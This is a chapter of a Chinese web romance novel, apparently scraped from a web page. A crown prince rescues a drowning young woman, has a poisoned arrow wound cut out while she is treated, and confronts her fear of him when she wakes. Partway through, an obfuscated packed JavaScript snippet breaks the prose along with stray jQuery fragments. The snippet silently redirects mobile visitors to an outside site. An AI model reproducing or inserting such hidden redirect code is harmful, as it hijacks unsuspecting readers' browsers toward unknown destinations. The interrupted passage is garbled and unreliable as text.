25. 端午(6)

作品:《美人难驯

    裴景昱抱着昏迷不醒的嘉宁,步履如风,无视沿途惊惶行礼、纷纷避让的奴仆,径直踏入园内专供贵客休憩的暖阁。


    他将嘉宁小心地安置在铺着锦缎的床榻上,动作虽快但带着不容忽视的珍重。


    他俯身,一手捏开她的下颌,另一手运起内力按压她的腹部。


    “咳咳……咳……”


    嘉宁吐出几口浑浊的江水,剧烈地咳嗽起来,气息总算稍微通畅了些,但依旧昏迷不醒,双目紧闭,唇色青白,呼吸微弱。


    裴景昱眉头紧锁,探了探她的鼻息和脉搏,确认还有生机,紧绷的下颌线条才稍稍缓和。


    “太医呢?!”他头也不回,声音带着压抑的焦灼和不容置疑的命令。


    “殿下,太医到了!”


    心腹暗卫几乎是连滚带爬地将气喘吁吁的老太医“架”进来。


    太医刚想行礼,裴景昱已不耐地挥手:“免了!先看她!”


    他侧身让开位置,目光紧紧锁在嘉宁苍白的小脸上。


    太医目光触及裴景昱左臂上那被水浸透、仍在缓缓渗血的伤口,血液周围隐隐泛起的异样乌青色,脸色顿时一变:“殿下!您受伤了!这伤口……恐有毒!”


    裴景昱眉头都没皱一下,只随意瞥了一眼自己的手臂,语气沉冷如铁,带着不容置疑的命令:“孤无碍。先看她!”


    “殿下!万万不可!毒物入体,凶险万分,刻不容缓!必须即刻处理,拖延恐伤及筋骨甚至……”太医急急道。


    “孤说,先顾她!”


    裴景昱的声音转冷,带着上位者的威压,不容置疑。


    他眼神锐利地扫过太医,“她若有事,你十个脑袋也不够赔。”


    太医不敢怠慢,连忙上前查看嘉宁。


    一番望闻问切后,他松了口气,回禀道:“殿下放心,这位姑娘呛水虽凶险,所幸救起及时,已无性命之忧。只是受惊过度,又浸了冷水,寒气入体,需好生静养调理,避免风寒。待老臣开一剂安神驱寒的方子,煎服下去,睡一觉应能缓过来。”


    听到嘉宁无碍,裴景昱紧绷的肩线微不可察地松弛了一瞬,那股因她生死未卜而萦绕周身的凛冽煞气也稍稍收敛。


    太医为嘉宁开了方子,交给内侍速去抓药煎煮。


    这时,两名训练有素的东宫侍女悄无声息地进来,捧着干净的衣物和热水。


    裴景昱目光在嘉宁湿透紧贴的衣衫上停留一瞬,眸色微暗,声音冷淡而威严:“替她更衣,动作轻些,莫要惊扰。”


    “是。”侍女领命,手脚麻利地放下帷幔,隔绝内外。


    整个过程,裴景昱背对着床榻,负手而立,身影挺拔如青松,目光投向窗外渐散的硝烟,自始至终未曾回头看一眼。


    他虽势在必得,却自有其骄傲与底线,不屑于趁人之危行龌龊之事。


    待婢女为嘉宁换好衣物,重新盖好锦被,裴景昱才让太医进来处理自己的伤口。


    太医小心翼翼地剪开裴景昱左臂被血水浸透的衣袖,露出狰狞的伤口。


    箭簇虽已拔出,但留下一个血洞,周围皮肉翻卷,已经开始肿胀,呈现不祥的青紫色,显然淬了毒。


    太医仔细检查毒血蔓延情况,神色凝重:“殿下,此毒颇为霸道,幸而殿下内力深厚,压制得及时,且入肉不深。但毒素已侵染肌理,必须立刻剜去腐肉,再敷以解毒拔毒之药,否则后患无穷。”


    裴景昱淡淡应了一声,示意太医继续。


    太医取来烈酒冲洗伤口,又拿出锋利的银质小刀在火上炙烤。


    饶是经验丰富,面对当朝储君,他握着刀的手还是微微发颤。


    “动手。”


    裴景昱只吐出两个字,面色沉静如水,仿佛那血肉模糊的伤口不是在自己身上,他甚至没有移开落在嘉宁苍白小脸上的视线。


    太医深吸一口气,屏息凝神,锋利的刀刃精准地切入乌黑的皮肉。


    刀锋刮过的细微声音令人头皮发麻,鲜血混合着黑色的毒液不断涌出,顺着肌肉线条流下。


    暖阁内静得落针可闻,只有嘉宁虚弱的呼吸声,以及太医紧张的吞咽声。


    太医看向太子,只见裴景昱端坐如松,眉头都未曾蹙一下,额角渗出细密的汗珠,却自始至终一声未吭,连呼吸都保持着平稳的节奏。


    他目光沉静,似乎那剜肉刮骨之痛与他无关,并非施加于己身。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811589|175262||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    右手紧握成拳,指节泛白,青筋暴起,是他唯一泄露痛楚的迹象。


    太医心中震撼,暗自惊叹,手下动作愈发干脆利落,心中油然升起一股敬佩之情:


    古有关云长刮骨疗毒谈笑自若,今有太子殿下剜肉祛毒面不改色,此等坚忍心性,实非常人所能及!


    真乃人中之龙也!


    处理完伤口,敷上特制的解毒金疮药,再用干净的白布层层裹紧。


    整个过程,裴景昱连一声闷哼都未发出,唯有眼神偶尔扫过榻上依旧昏迷的嘉宁时,会流露出一丝难以察觉的复杂。


    “殿下,毒已清,伤口需按时换药,静养数日。”


    太医抹了把汗,躬身道。


    裴景昱颔首,挥退太医。


    他走到窗边,负手而立,望着窗外惊魂未定、渐渐恢复秩序的园子,任由侍女为他简单清理湿透的里衣并披上一件干燥的玄色常服外袍。


    挺拔的背影在暖阁的光影中显得孤高而深沉。


    嘉宁在温暖的锦被包裹中,意识渐渐回笼。


    她缓缓睁开沉重的眼皮,映入眼帘的是陌生的织锦帐顶,身上盖着柔软干燥的锦被,而自己……竟然换了一身陌生的、料子极好的青色衣衫!


    这个认知让她惊恐地瞪大眼睛,猛地撑起身子,慌乱地环顾四周,当看到窗边那道玄色挺拔、散发着无形压迫感的背影时,脸色霎时惨白如雪,下意识地揪紧胸前的衣襟,眼中充满惊惧和难以置信。


    裴景昱似乎察觉到她的动静,缓缓转过身。


    将她所有的反应尽收眼底,捕捉到她眼中的防备和那一闪而过的屈辱,一股炽热的怒意倏然取代剜肉的剧痛。


    他俊美无俦的脸上没什么表情,唯有那双深不见底的眸子,在看到嘉宁那副如同受惊小鹿般、将自己视为洪水猛兽的神情时,掠过一丝冰冷的嘲弄和……不易察觉的烦躁。


    “怎么?孤在你眼里,便是如此下作不堪,会趁人之危的宵小之徒?”


    他的目光落在她依旧苍白的脸上,缓步走近,那眼神锐利如刀,洞穿她所有不堪的揣测,“放心,你的衣服,是婢女换的。孤还没沦落到需要靠这种手段的地步。”